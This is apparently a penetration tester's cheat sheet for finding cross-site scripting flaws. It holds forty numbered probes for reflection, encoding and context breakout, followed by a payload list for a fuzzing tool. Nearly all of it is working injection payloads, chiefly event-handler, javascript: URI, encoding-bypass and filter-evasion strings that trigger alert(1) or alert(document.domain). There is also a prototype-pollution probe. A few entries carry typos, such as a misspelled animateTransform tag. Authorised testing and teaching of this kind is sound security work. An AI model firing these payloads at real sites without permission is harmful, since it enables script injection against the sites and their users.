

1- Detecting Security

1- Methodology

1- Confirm input is reflected in response

```
ossamatest123
```

2- Check if special chars are HTML-encoded

```
xss"'<>{}[]
```

3- Is HTML parsed or returned escaped?

```
<b>ossama</b>
```

4- Mixed text + HTML tag behavior

```
ossama<b>bold</b>
```

5- Does server decode unicode escapes?

```
\u003cscript\u003e
```

6- Hex escape handling

```
\x3cscript\x3e
```

7- HTML entity decoding

```
&#60;script&#62;
```

8- HTML body context

```
<img src=x onerror=alert(1)>
```

9- HTML attribute context

```
" onmouseover="alert(1)
```

10- JavaScript context

```
';alert(1)//
```

11- URL context

```
javascript:alert(1)
```

12- JSON context escape

```
", "ossama": "<script>alert(1)</script>
```

13- Comment break out

```
--><script>alert(1)</script>
```

14- CSS injection context

```
</style><script>alert(1)</script>
```

15- Attribute without quotes

```
<input value=ossama onmouseover=alert(1)>
```

16- Input autofocus

```
<input autofocus onfocus=alert(1)>
```

17- Select tag

```
<select autofocus onfocus=alert(1)>
```

18- Textarea tag

```
<textarea autofocus onfocus=alert(1)>
```

19- Body tag event

```
<body onload=alert(1)>
```

20- IMG tag variant

```
<img src=1 onerror=alert(1) x=
```

21- SVG event handler

```
<svg onload=alert(1)>
```

22- Video tag

```
<video src=x onerror=alert(1)>
```

23- Audio tag

```
<audio src=x onerror=alert(1)>
```

24- Marquee event

```
<marquee onstart=alert(1)>
```

25- Details tag

```
<details open ontoggle=alert(1)>
```

26- Template tag

```
<template><script>alert(1)</script></template>
```

27- Iframe injection

```
<iframe src="javascript:alert(1)">
```

28- Object tag

```
<object data="javascript:alert(1)">
```

29- Form action hijack

```
<form action="javascript:alert(1)"><input type=submit>
```

30- Base tag hijack

```
<base href="javascript:/">
```

31- Meta refresh

```
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
```

32- Link tag

```
<link rel=import href="data:text/html,<script>alert(1)</script>">
```

33- Script src data URI

```
<script src="data:,alert(1)"></script>
```

34- Case variation bypass

```
<ScRiPt>alert(1)</sCrIpT>
```

35- Tag breaking bypass

```
<scr<script>ipt>
```

36- Double encoding

```
%253Cscript%253E
```

37- Null byte injection

```
<scri%00pt>alert(1)</scri%00pt>
```

38- Math tag bypass

```
<math><mtext></mtext><mglyph><svg><mtext></mtext><path><animatettransform  
onbegin=alert(1)>
```

39- DOM clobbering

```
<img name=getElementById>
```

40- Prototype pollution probe

```
?__proto__[test]=ossama
```

2- Payloads for Intruder

```
ossamatest123
xss"'<>{}[]()'\;/\;$
\\
//
</script><img src=1 onerror=alert(document.domain)>
<b>ossama</b>
'-alert(10452)-'
&apos;-alert(10452)-&apos;
';alert(document.domain)//
\\'alert(document.domain);//
'//;
"//;
\\';
\\";
ossama<b>bold</b>
\u003cscript\u003e
\x3cscript\x3e
&#60;script&#62;
<img src=x onerror=alert(1)>
" onmouseover="alert(1)
';alert(1)//
javascript:alert(1)
", "ossama": "<script>alert(1)</script>
--><script>alert(1)</script>
</style><script>alert(1)</script>
<input value=ossama onmouseover=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<body onload=alert(1)>
<img src=1 onerror=alert(1) x=
<svg onload=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<template><script>alert(1)</script></template>
<iframe src="javascript:alert(1)">
<object data="javascript:alert(1)">
```

```
<form action="javascript:alert(1)"><input type=submit>
<base href="javascript:/">
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
<link rel=import href="data:text/html,<script>alert(1)</script>">
<script src="data: ,alert(1)"></script>
<ScRiPt>alert(1)</sCrIpT>
<scr<script>ipt>
%253Cscript%253E
<scri%00pt>alert(1)</scri%00pt>
<math><mtext></mtext><mglyph><svg><mtext></mtext><path><animatetransform
onbegin=alert(1)>
<img name=getElementById>
?__proto__[test]=ossama
<svg>
javascript:alert(1)
&'},{x=x=>{throw/**/onerror=alert,1337}'
"><script>alert(document.domain)</script>
" autofocus onfocus=alert(document.domain) x="
```

```
"><script>alert(document.domain)</script>
" autofocus onfocus=alert(document.domain) x="
```